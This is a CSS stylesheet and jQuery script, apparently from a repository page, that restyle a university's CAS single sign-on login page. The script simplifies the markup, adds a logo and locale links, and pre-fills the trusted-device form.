    --cas-theme-primary: #018786;
}

@font-face {
    font-family: 'Barlow Regular';
    font-style: normal;
    font-weight: 400;
    src: url('./Barlow-Regular.woff2') format('woff2');
}
/* @font-face {
    font-family: 'Barlow Light';
    font-style: normal;
    font-weight: 400;
    src: url('../fonts/Barlow-Light.woff2') format('woff2');
} */

body {
    height: auto;
    background: #006D82;
    /* letter-spacing: 0.05rem; */
}

body, p, span, div, a, h1, h2, h3, h4, h5, h6 {
    font-family: 'Barlow Regular' !important;
}
a {
    text-decoration: none;
}
h2 {
    color: #6D6D6C;
}
h3 {
    font-size: 24px;
    line-height: 150%;

    color: #6D6D6C;
    text-align: center;
    margin: 0 0 24px;
}
.card {
    width: 450px;
    margin: 0 auto;
    background: white;
    border-radius: 24px;
    padding: 24px;
}

button {
    padding: 12px 32px;
    background: #006D82 !important;
    border-radius: 12px;
    height: 48px;
    border: none;
    color: white;
    font-weight: 700;
}
button:hover {
    cursor: pointer;
}

.button-red {
  background-color: #ef5350 !important;
  border-color: #fcdddc;
  color: #fcdddc;
}

.button-uca-beige {
  color: #fff;
  background-color: #d7b797 !important;
}

input {
    max-width: 350px;
    padding: 12px 16px;
    height: 48px;
    background: #FFFFFF;
    border: 1px solid #CACAC9;
    border-radius: 12px;
    color: #4A4A49;
}
input:focus {
    border: 1px solid #00AFA3 !important;
}

img.logo {
    width: auto;
    height: 100px;
    padding: 24px 0;
}

.flex-column-center{
    display: flex;
    flex-direction: column;
    align-items: center;
}
.margin-space {
    margin: 12px;
}
.hide {
    display:none;
}

#content {
    box-shadow: none !important;
}
#sidebar {
    text-align: justify;
}
#loginErrorsPanel {
    color: #D60150;
    font-weight: bold;
}
#loginErrorsPanel > p {
    margin: 0;
}

#pmlinks a {
    margin: 10px 0;
}

#links {
    display: flex;
    justify-content: center;
    margin-top: 20px;
}
#links > a {
    margin: 0 5px;
    font-size: 0.9rem;
}

@media screen and (max-width: 450px) {
    .card {
        width: 100%;
        border-radius: 0;
        padding: 24px 12px;
    }
    #main-content {
        margin: 0;
    }
    img.logo {
        width: 100%;
        height: auto;
        padding: 16px;
    }
}
Original line number Diff line number Diff line
function resourceLoadedSuccessfully() {
    $(document).ready(() => {

        // Remove header, footer and others
        $('body > div:lt(2)').remove();
        $('footer').remove();
        $('hr').remove();

        // Add logo
        const logo = document.createElement('img');
        logo.src = '/cas/themes/uca/images/logo.png';
        $('body').prepend(logo);

        // Remove info service
        $('#serviceui').remove();

        // Remove many span and useless helpers in the input section
        // and set the placeholder
        $('#username').attr('placeholder', $('#usernameSection label > span > span > span').text());
        $('#username').focus();
        $('#password').attr('placeholder', $('#passwordSection label > span > span > span').text());
        $('label > span').remove();
        $('section .mdc-text-field-helper-line').remove();
        // Remove the reveal password button
        $('.reveal-password').remove();

        // Remove all class to simplify the render
        if (!$('#codeRequest').length)
          $('*').removeClass();
        $('body').addClass('flex-column-center');
        $('body > img').addClass('logo');
        $('body > div').addClass('card');

        $('#loginForm > div').addClass('flex-column-center');
        $('#loginForm > div > div').addClass('flex-column-center');
        $('#login-form-controls').addClass('flex-column-center');
        $('#login-form-controls > *:not(h3)').addClass('margin-space');
        $('#login-form-controls > section').slice(-2).addClass('hide');

        $('#pmlinks > div > span:nth-of-type(2)').addClass('flex-column-center');

        // Page trusted device
        $('#deviceName').val('UserAgent '+navigator.userAgent).hide();
        $('#timeUnit').addClass('custom-select').addClass('mb-4').val('DAYS').hide();
        $('#expiration').val(7);
        // $('#expirationField').addClass('mb-3').show();
        $("#registerform div:nth-child(4) button:nth-child(2)").addClass("button-uca-beige");

        // Add locale links
        const links = document.createElement('div');
        links.id = 'links';
        const linkFR = document.createElement('a');
        linkFR.href = '?locale=fr';
        linkFR.innerHTML = 'Français';
        links.append(linkFR);
        const linkEN = document.createElement('a');
        linkEN.href = '?locale=en';
        linkEN.innerHTML = 'English';
        links.append(linkEN);
        $('#main-content').append(links);
    });
}